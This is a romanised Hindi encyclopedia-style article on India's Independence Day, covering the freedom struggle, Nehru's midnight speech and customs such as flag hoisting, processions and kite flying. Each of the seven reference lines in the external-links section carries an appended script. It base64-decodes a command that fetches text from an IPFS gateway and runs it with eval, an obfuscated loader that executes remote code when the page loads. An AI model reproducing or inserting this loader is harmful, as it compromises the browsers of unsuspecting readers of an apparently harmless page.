स्वतंत्रता दिवस

tiranga|center

[[chitr:First-Independence-Day-3.jpg|thumb|250px|15 agast 1947 svatantrata divas ka avasar]] san 1857 ke pratham svatantrata sangram ke mahayajn ka prarambh maharshi dayanand sarasvati ne prarambh kiya aur apane pranoan ko bharat mata par mangal paande ne nyauchhavar kiya aur dekhate hi dekhate yah chiangari ek mahasangram mean badal gayi jisamean jhaansi ki rani lakshmibaee, tatya tope, nana saheb, 'sarapharoshi ki tamanna' lie ramaprasad bismil, ashafak, chandrashekhar azad, bhagat sianh, rajaguroo, sukhadev adi desh ke lie shahid ho ge. tilak ne svarajy hamara janmasiddh adhikar hai ka sianhanad kiya aur subhash chandr bos ne kaha - tum mujhe khoon do, maian tumhean azadi dooanga.

'ahiansa' aur 'asahayog' lekar mahatma gaandhi aur gulami ki janziroan ko to dane ke lie 'lauh puroosh' saradar patel ne jaise mahapurooshoan ne kamar kas li. 90 varshoan lambe sangharsh ke bad 15 agast 1947 ko 'bharat ko svatantrata' ka varadan mila. 15 agast bharat ka svatantrata divas hai.

is varsh bharat british shasan se azadi ki 62vian varshagaanth mana raha hai. sh‍vatantrata divas par ham apane un mahan rashh‍triy nayakoan ko apani shraddhaanjali dete haian jinh‍hoanne bharat ko ajad karane ke lie balidan die aur apana jivan nh‍yauchhavar kar diya.

bharat ki azadi ka sangram bal se nahian varan sath‍y aur ahiansa ke siddhaant ke adhar par vijit ki gee. itihas mean sh‍vatantrata ke sangharsh ka ek anokha aur anootha abhiyan tha jise vishv bhar mean prashansa mili.

sh‍vatantrata ki rah

[[chitr:First-Independence-Day-8.jpg|left|thumb|15 agast 1947 svatantrata divas ka avasar]] bharat ki azadi ka sangharsh merath mean sipahiyoan ki bagavat ke sath 1857 mean prarambh hua. 20vian shatabh‍di mean bharatiy rashh‍triy kaangres aur anh‍y rajanitik sangathanoan ne mahatma gaandhi ke netrith‍v mean ek deshavh‍yapi aandolan chalaya. mahath‍ma gaandhi ne hiansapoorn sangharsh ke viparit 'savinay avajna ahiansa aandolan' ko sashakh‍t samarthan diya. unake dvara virodh pradarshan ke lie march, prarthana sabhaean, videshi vash‍tuoan ka bahishh‍kar aur bharatiy vash‍tuoan ko proth‍sahan dena adi achook hathiyar the.

in rastoan ko bharatiy janata ne samarthan diya aur sh‍thaniy abhiyan 'rashh‍triy aandolan' mean badal ge. inamean se kuchh mukhh‍y ayojan - 'asahayog aandolan', 'daandi march', 'nagarik avajna abhiyan' aur 'bharat chho do aandolan' the. shighr hi yah sh‍pashh‍t ho gaya ki bharat ab upaniveshavadi shaktiyoan ke niyantran mean nahian rahega aur british shasakoan ne bharatiy netaoan ki maang ko man liya. yah nirnay liya gaya ki yah adhikar bharat ko sauanp diya jae aur 15 agash‍t 1947 ko bharat ko yah adhikar sauanp diya gaya.

svatantr bharat ki ghoshana

[[chitr:First-Independence-Day-2.jpg|thumb|250px|15 agast 1947 svatantrata divas par javaharalal neharoo, l aaurd maunt baitan aur edavina]] 14 agash‍t 1947 ko rat ko 11.00 baje sanghatak sabha dvara bharat ki sh‍vatantrata ko manane ki ek baithak aranbh huee, jisamean adhikar pradan kie ja rahe the. jaise hi gh di mean rat ke 12.00 baje bharat ko azadi mil gee aur bharat ek sh‍vatantr desh ban gaya. tath‍kalin sh‍vatantr bharat ke pratham pradhanamantri pandit javaharalal neharoo ne apana prasiddh bhashan 'niyati ke sath bheant' diya.

'“jaise hi madhh‍y ratri huee, aur jab duniya so rahi thi, bharat jag raha hoga aur apani ajadi ki or badhega. ek aisa pal ata hai jo itihas mean durlabh hai, jab ham purane yug se ne yug ki or jate haian. . . kh‍ya ham is avasar ka labh uthane ke lie paryaph‍t bahadur aur buddhiman haian aur ham bhavishh‍y ki chunauti ko sh‍vikar karane ke lie taiyar haian?”' - pandit javaharalal neharoo

isake bad tiranga jhanh‍da phaharaya gaya aur lal qile ki prachir se rashtriy gan gaya gaya.

ayojan

pratham svatantrata divas par ayojan|left|thumb sh‍vatantrata divas samip ate hi charoan or khushiyaan phail jati hai. sabhi pramukh shasakiy bhavanoan ko roshani se sajaya jata hai. tiranga jhanh‍da gharoan tatha anh‍y bhavanoan par phaharaya jata hai. sh‍vatantrata divas, 15 agash‍t ek rashh‍triy avakash hai, is din ka avakash prath‍yek nagarik ko bahadur sh‍vatantrata senaniyoan dvara kie ge balidan ko yad karake manana chahie.

sh‍vatantrata divas ke ek saph‍tah pahale se hi vishesh pratiyogitaoan aur karyakramoan ke ayojan dvara desh bhakti ki bhavana ko proth‍sahan diya jata hai. rediyo sh‍teshanoan aur telivizan chainaloan par is vishay se sanbandhit karyakram prasarit kie jate haian. shahidoan ki kahaniyoan ke bare mean philh‍mean dikhaee jati hai aur rashh‍triy bhavana se sanbandhit kahaniyaan aur riport prakashit ki jati hai.

svatantrata ki poorv sandhya

[[chitr:Newspaper-15-August-1947.jpg|15 agast 1947 ka akhabar|thumb|250px]] rashh‍trapati dvara sh‍vatantrata divas ki poorv sandhh‍ya par rashh‍tr ke nam sandesh prasarit kiya jata hai. isake bad agale din lal qile se tiranga jhanh‍da phaharaya jata hai. rajh‍y sh‍tar par vishesh sh‍vatantrata divas karyakram ayojit kie jate haian, jisamean jhanh‍da phaharane ke ayojan, march pash‍t aur saansh‍kritik ayojan shamil haian. in ayojanoan ko rajh‍yoan ki rajadhaniyoan mean ayojit kiya jata hai aur mukhh‍yamantri in karyakramoan ki adhh‍yakshata karate haian. chhote paimanoan par shaikshik sansh‍thanoan, avas sanghoan, saansh‍kritik kenh‍droan aur rajanitik sangathanoan dvara karyakram ayojit kie jate haian.

prabhatapheri

skooloan aur sansthaoan dvara prat: hi prabhatapheri nikali jati haian jinamean bachche, yuvak aur boodhe deshabhakti ke gane gate haian aur un viroan ki yad mean nukkh d natak aur prashasti gan karate haian.

sh‍vatantrata divas ka pratik patang

sh‍vatantrata divas ka ek aur pratik patang u dane ka khel hai. akash mean dher sari patangean dikhaee deti haian jo log apani apani chhatoan se u da kar bharat ki sh‍vatantrata ka samaroh manate haian. alag alag prakar, akar aur rangoan ki patango tatha tirange bazar mean upalabh‍dh haian. is din patang u dakar apane sangharsh ke kaushaloan ka pradarshan kiya jata hai.

deshabhakti ka pradarshan

[[chitr:Red-Fort-Delhi.jpg|thumb|300px|svatantrata divas ke din lal qile par tiranga jhanh‍da laharaya jata hai]] bharat ek samriddh saansh‍kritik virasat vala desh hai aur yah duniya ka sabase b da lokatantr hai. yahaan ke nagarik desh ko aur adhik ooanchaiyoan tak le jane ki vachanabaddhata rakhate haian jahaan tak isake sansh‍thapakoan ne ise pahuanchane ki kalh‍pana ki. jaise hi asaman mean tiranga laharata hai, prath‍yek nagarik desh ki shan ko badhane ke lie kathin parishram karane ka vachan deta hai aur bharat ko ek aisa rashh‍tr banane ka lakshh‍y poora karane ka pran leta hai jo manaviy moolh‍yoan ke lie sadaiv atal hai.

jay hiand

vithika

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  15 agast 1947 ka akhabar

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  svatantrata divas manate bharatiy, 15 agast 1947, rajapath, nee dilli

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  svatantrata divas manate bharatiy, 15 agast 1947, rajapath, nee dilli

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  svatantrata divas manate bharatiy, 15 agast 1947, rajapath, nee dilli

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  15 agast ke din motar saikil par pared

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  svatantrata divas par natak pesh karate bachche

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  adhi rat ko svatantrata

bahari k diyaan

sh‍vatantrata divas samarohh aur itihas ki jhalakean (hiandi) (php) ebharat.gov.in. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sh‍vatantrata divas ayojan (hiandi) (ech.ti.em.el) bharat.gov.in. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

15 agash‍t 1947 ke akhabar (hiandi) (ech.ti.em.el) dharmendrabchouhan.blogspot.com. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ajadi ke 61 varsh bad ham (hiandi) (ech.ti.em.el) /hindi.webdunia.com. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

svatantrata divas par vishesh (hiandi) (ech.ti.em.el) bharatdarshan.co.nz. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

Independence Day (India) (english) (ech.ti.em.el) www.ians.in. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

15 August 1947 – The First Independence day (Rare 8 pictures) (english) (ech.ti.em.el) fulldhamaal.com. abhigaman tithi: 7agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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